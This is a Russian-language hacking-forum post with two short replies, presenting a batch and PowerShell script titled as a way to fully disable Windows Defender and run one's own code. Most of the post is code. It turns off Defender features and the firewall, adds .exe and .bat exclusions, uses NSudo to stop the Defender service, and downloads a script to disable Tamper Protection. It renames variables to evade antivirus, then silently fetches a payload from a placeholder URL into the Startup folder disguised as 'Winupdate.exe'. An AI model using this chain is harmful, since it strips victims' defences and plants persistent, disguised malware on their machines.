Загрузка...

Полностью отключаем Windows Defender и запускаем свой код в системе одним файлом

Тема в разделе Безопасность создана пользователем Barcik 6 янв 2022. 1707 просмотров

  1. Barcik
    Barcik Автор темы 6 янв 2022 Ебал реп)000)0 6 10 апр 2018
    Отключать Windows Defender мы будем наглядно и с использованием PowerShell, новой коммандной оболочки от Microsoft с расширенным функционалом, который мы как раз и используем.

    Скрипт надо запускать от имени администратора. О том, как это сделать с привелегированой записи в обход UAC мы поговорим в следующий раз.

    Так что, тебе не нравится Windows Defender? Мне тоже. Будем отключать. Для этого создаем файл fuckwd.bat:

    Код:

    Код
    @echo off


    REM отключаем отображение выполнения

    powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
    powershell.exe -command "Set-MpPreference -PUAProtection disable"
    powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
    powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
    powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
    powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
    powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
    powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
    powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
    powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
    powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
    powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
    powershell.exe -command "Set-MpPreference -MAPSReporting 0"
    powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
    powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
    powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
    powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
    powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
    А в добавок можно ещё и отключить все правила windows firewall одной командой:
    Код:

    Код
    powershell.exe -command "netsh advfirewall set allprofiles state off"
    Или добавить .exe и .bat в список исключенияй Defender SmartScreen:
    Код:

    Код
    powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
    powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
    REM добавляем .bat и .exe в список исключений SmartScreen. этот шаг можно опустить, так, как на скрипт с таким контентом возможны срабатывания ав.

    Смотрим дальше. Что такое netsh? Это штататная утилита Windows, позволяющая изменить практически все сетевые настройки или просмотреть их. netsh advfirewall set allprofiles state off выключает все профили.

    Но не спеши радоваться, друг мой. Недавно Microsoft добавила новую функцию в Windows под названием «Защита от изменений» (Tamper protection). Она предотвращает отключение защиты в реальном времени и изменение ключей реестра Windows Defender с помощью powershell или cmd. Если отключать защиту в реальном времени, тебе придется делать это вручную. Но не парься, здесь нам на помощь придут утилитки Nsudo и скрипт Disable-Tamper.cmd.

    Начнём с того что такое Nsudo. Это простой портативный и абсолютно легитимный инструмент, позволяющий запускать процессы с правами System или TrustedInstaller.

    Не секрет, что далеко не все операции с реестром, конфигурационными и исполняемыми файлами доступны пользователю, работающему даже с администраторскими привилегиями. Если владельцем объекта являются TrustedInstaller или System, то они попросту не позволят вам изменить файл или настройку, поскольку обладают еще более высокими привилегиями.

    Всё было плохо и неудобно, и поэтому для этих целей разработчиком Kenji Mouri была создана NSudo — портативная утилита, позволяющая делегировать права служб TrustedInstaller и System обычному администратору.

    И ещё одна полезная программа из комплекта Windows, которую мы будем использовать для загрузки необходимых нам инструментов, bitsadmin. Документация Microsoft говорит нам, что програма bitsadmin предназначена для загрузки файлов и является стандартным компонентом всех поддерживаемых в настоящее время операционных систем Windows. Опа, это как раз то, что нам и нужно. Загружаем Nsudo в фоновом режиме (пользователь ничего не увидит) в директорию %temp%, то есть там где хранятся временные файлы:

    Код
    bitsadmin /transfer Explorers /download /priority FOREGROUND https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe %temp%\NSudo.exe
    Дальше запускаем Nsudo и останавливаем службу Windows Defender с правами системы:

    Код
    set xxxx=%systemroot%

    set graysuitlovespinksuit=System32
    NSudo.exe -U:T -ShowWindowMode:Hide icacls "%xxxx%\%graysuitlovespinksuit%\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
    NSudo.exe -U:T -ShowWindowMode:Hide sc stop WinDefend
    Cтоит добавить, перезадание переменных с названиями директорий происходит для того, чтобы не привлечь внимание антивируса к подозрительной, по его мнению, активности.

    А теперь последний штрих, отключаем «Tamper Protection»:

    Код
    bitsadmin /transfer Explorers /download /priority FOREGROUND https://raw.githubusercontent.com/swagkarna/Disable-Tamper-Realtime-Protection/main/Disable-Tamper.cmd  


    %temp%\Disable-Tamper.cmd
    Всё. Загружаем наш снаряд и выполняем полезную нагрузку:

    Код
    cd "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

    powershell -command "start-bitstransfer https://direct-url-for-payload/xxx.exe .\Winupdate.exe"
    start Winupdate.exe & cd %temp%
    Меняем https://direct-url-for-payload/xxx.exe на адрес нашего payload-a.

    Удачи тебе в отключении Windows Defender.

    Статья не моя, взял с форума cybersec, оформил по красоте и залил для вас на лолз.
     
  2. XSS_inactive4848518
    Ну, смысла его отключать я не вижу. Не мешает, а проактивная защита - это что то с чем то.
     
    1. Barcik Автор темы
  3. NOMONEY
    NOMONEY 6 янв 2022 /del 834 10 июл 2020
    Нормалды оформил, но проще утилитой его отключить и мозг не ебать
     
Загрузка...
Top